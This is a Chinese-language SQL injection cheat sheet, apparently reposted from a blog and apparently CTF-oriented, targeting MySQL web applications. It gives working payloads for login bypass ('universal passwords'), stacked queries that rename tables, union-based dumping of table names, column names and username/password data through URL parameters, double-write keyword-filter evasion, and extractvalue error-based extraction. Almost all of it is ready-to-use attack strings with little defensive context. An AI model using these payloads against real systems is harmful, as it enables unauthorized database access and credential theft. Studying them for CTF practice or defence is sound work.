数据库
首页 > 数据库> > SQL注入

SQL注入

作者:互联网

信息收集

数据库版本:version() 5.0以上为高版本,以下为低版本。高版本中存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以查询它获取数据库表名列名的信息

数据库名字:database() 查询数据库:';show databases;#

数据库用户:user()

操作系统:@@version_compile_os

查询指定数据库名下的表名group_concat(table_name) from information_schema.tables where table_schema='数据库名字'

查询指定表名下的列名信息group_concat(column_name) from information_schema.columns where table_name='表名'

查询指定数据username from 列名

万能密码
1' or '1'='1
1' or 1=1#
admin'or 1=1#

判断注入拆解列名数量(字段数)错误与正常的正常值

order by x 或者1′ union select 1,2 #或者1' order by 1#

堆叠注入

查询表: 1';show tables;#

查询表中字段:1'; show columns from 要查询的字段; #

改名字:1';RENAME TABLE wordsTOwords1;RENAME TABLE 1919810931114514TOwords;ALTER TABLE wordsCHANGEflag id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

URL中的注入

注意:URL中不能用# 只能用%23

查询字段数:admin' order by 数字(输到报错)%23

用union查询测试注入点(回显点位):1' union select 1,2,3%23&password=1

查询当前数据库名及版本:1' union select 1,database(),version()%23

可知当前数据库 :1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查询表(爆表):1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表的名字'%23

爆数据:1' union select 1,2,group_concat(id,username,password) from 表的名字%23

当遇到关键字过滤的时候可以尝试 双写绕过 登陆失败,尝试注释掉password内容:for : foforr from: frfromom or: oorr union: uniunionon select: selselectect information: infoorrmation where: whwhereere 空格被过滤可以用()代替

报错注入

查询数据库名:``admin'^extractvalue(1,concat(0x7e,(select(database()))))%23 爆表:admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('数据库的名字')))))%23 爆字段:left() right() 拼接admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('表的名字')))))%23`

extractvalue() ()来代替空格,使用like来代替=号

标签:name,23,concat,SQL,table,注入,select,schema
来源: https://www.cnblogs.com/lxuegod/p/16513822.html